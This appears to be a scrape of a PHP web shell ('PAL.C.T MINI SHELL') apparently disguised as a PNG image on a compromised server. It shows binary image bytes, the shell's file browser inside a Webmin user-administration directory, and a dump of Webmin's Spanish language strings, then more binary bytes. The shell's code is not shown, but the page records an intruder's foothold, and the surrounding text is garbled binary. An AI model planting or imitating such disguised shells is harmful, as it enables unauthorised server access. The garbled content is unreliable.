php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/useradmin/lang/
upload
files >> //usr/libexec/webmin/useradmin/lang/es.auto

index_pft=Tipo de base de datos: $1
index_pft0=Viejo /etc/passwd
index_pft1=BSD master.passwd
index_pft2=Regular /etc/passwd & /etc/shadow
index_pft3=Comandos de usuario
index_pft4=AIX
index_pft5=OCS /etc/passwd & /etc/shadow
index_pft6=MacOS NetINFO
index_pft7=MacOS DSCL
index_userreal=Nombre de usuario o nombre real
index_usheader=Búsqueda de usuarios
index_gsheader=Búsqueda grupal
index_fmode=Modo partido
index_ftext=Buscar texto
index_gjump=Saltar a grupos. ..
index_ujump=Saltar a los usuarios. ..
index_loginsall=Todos los usuarios
index_loginsuser=Solo usuario
index_loginsdesc=Muestra los inicios de sesión recientes de uno o todos los usuarios de Unix que se han conectado a través de SSH o Usermin.
index_whodesc=Muestra a los usuarios que actualmente están conectados a través de SSH o Usermin.

sshkey=Clave pública SSH
uedit_manual=Directorio
uedit_allg=Todos los grupos
uedit_ing=En grupos
uedit_egone=¡El usuario seleccionado ya no existe!
uedit_grename=¿Cambiar el nombre del grupo si cambia el nombre de usuario?
uedit_sys=Sistema por defecto
uedit_clone=Clonar usuario

usave_esgname='$1' no es un nombre de grupo secundario válido
usave_edigestmod=Su sistema tiene contraseñas $4 habilitadas, sin embargo, el módulo Perl <tt>$3</tt> no está instalado. Para forzar el uso de contraseñas encriptadas normales, ajuste la <a href='$1'>configuración de su módulo</a> o haga que Webmin intente <a href='$2'>descargar e instalar</a> el módulo de <tt>$3</tt> por usted.
usave_edigestcrypt=Su sistema tiene $4 contraseñas habilitadas, pero la función <tt>crypt</tt> no admite este formato. Para forzar el uso de contraseñas cifradas normales, ajuste la <a href='$1'>configuración del módulo</a>.
usave_epasswd_mindays=La contraseña se cambió hace menos de $1 días atrás
usave_epasswd_cmd=El comando de validación de contraseña falló

gedit_desc=Descripción
gedit_oneperline=(Una por línea)
gedit_egone=¡El grupo seleccionado ya no existe!
gedit_allu=Todos los usuarios
gedit_selu=Usuarios en grupo
gedit_pri=Miembros del grupo primario
gedit_prinone=Ningún usuario tiene este grupo como principal
gedit_clone=Grupo clon

gsave_egidused2=GID ya está en uso

udel_ugroupother=Eliminar el grupo de este usuario en otros módulos.

acl_uedit_gid=Usuarios con GID en rango
acl_urename=¿Se puede cambiar el nombre de los usuarios?
acl_grename=¿Se puede cambiar el nombre de los grupos?

log_gbatch=Archivo por lotes del grupo ejecutado $1
log_gbatch_l=Archivo por lotes del grupo ejecutado $1 ($2 creado, $3 modificado, $4 eliminado)
log_ugbatch=Archivo de lote de grupo cargado ejecutado
log_ugbatch_l=Archivo de grupo cargado cargado ejecutado ($1 creado, $2 modificado, $3 eliminado)
log_delete_users=Usuarios eliminados de $1
log_delete_groups=Grupos $1 eliminados

batch_erename=No está permitido cambiar el nombre de los usuarios en la línea $1 : $2 
batch_emin=Días mínimos no válidos en línea $1 : $2 
batch_emax=Días máximos no válidos en línea $1 : $2 
batch_ewarn=Días de advertencia no válidos en línea $1 : $2 
batch_einactive=Días inactivos no válidos en línea $1 : $2 
batch_eexpire=Día de vencimiento no válido en línea $1 : $2 
batch_echange=Día de cambio de contraseña no válido en línea $1 : $2 
batch_instr=Instrucciones y formato de lote
batch_header=Opciones de creación, actualización y eliminación de usuarios por lotes

export_header=Opciones de exportación de usuario por lotes
export_egroup=El grupo $1 no existe
export_euid=Primer UID no válido en rango
export_euid2=Segundo UID no válido en rango
export_egid=Primer GID no válido en rango
export_egid2=Segundo GID no válido en rango
export_ecannot=No está permitido exportar usuarios

gexport_title=Exportar archivo por lotes de grupos
gexport_desc=Este formulario le permite crear un archivo por lotes que contiene algunos o todos los grupos disponibles en el sistema. El archivo se puede usar en la página Ejecutar archivo de lote de grupo en otro sistema para volver a crear los grupos exportados.
gexport_header=Opciones de exportación de grupo de lotes
gexport_who=Grupos para exportar
gexport_ecannot=No está permitido exportar grupos
gexport_err=No se pudo exportar el archivo por lotes del grupo
gexport_egid=Primer GID no válido en rango
gexport_egid2=Segundo GID no válido en rango

umass_others=¡ADVERTENCIA! Algunos directorios principales contienen archivos $1 propiedad de otros usuarios.
umass_sure2=¿Está seguro de que desea eliminar los $1 usuarios seleccionados?

gbatch_title=Ejecutar archivo de lote de grupo
gbatch_ecannot=No puede usar el formulario de archivo por lotes grupal
gbatch_desc=Este formulario le permite crear, modificar o eliminar muchos grupos a la vez desde un archivo de texto cargado o local. Cada línea en el archivo especifica una acción a realizar, dependiendo de su primer campo. Los formatos de línea son :
gbatch_desc2=<b>create</b>:groupname:passwd:gid:member,member,...<p><b>modify</b>:oldgroupname:groupname:passwd:gid:member,member,...<p><b>delete</b>:groupname
gbatch_descafter=En las líneas <b>crear</b>, si el campo <tt>gid</tt> se deja vacío, Webmin asignará un GID automáticamente.
gbatch_descafter2=En las líneas <b>modificar</b>, se tomará un campo vacío para indicar que el atributo de grupo correspondiente no se debe modificar.
gbatch_header=Opciones de creación, actualización y eliminación de grupos de lotes
gbatch_others=¿Crear, modificar o eliminar grupos en otros módulos?
gbatch_batch=¿Solo actualiza el archivo de grupos cuando se completa el lote?
gbatch_chgid=¿Cambiar GID en archivos de grupos modificados?
gbatch_ecaccess=No está permitido crear el grupo en la línea $1 : $2 
gbatch_emaccess=No está permitido modificar el grupo en la línea $1 : $2 
gbatch_edaccess=No está permitido eliminar el grupo en la línea $1 : $2 
gbatch_created=Grupo creado $1
gbatch_deleted=Grupo eliminado $1
gbatch_modified=Grupo modificado $1
gbatch_enogroup=El grupo no existe en la línea $1 : $2 
gbatch_eprimary=El grupo en la línea $1 no se puede eliminar, ya que es el grupo principal del usuario $2.
gbatch_egroup=Nombre de grupo duplicado en la línea $1 : $2 
gbatch_egroupname=Nombre de grupo no válido en la línea $1
gbatch_erename=No está permitido cambiar el nombre de los grupos en la línea $1 : $2 
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`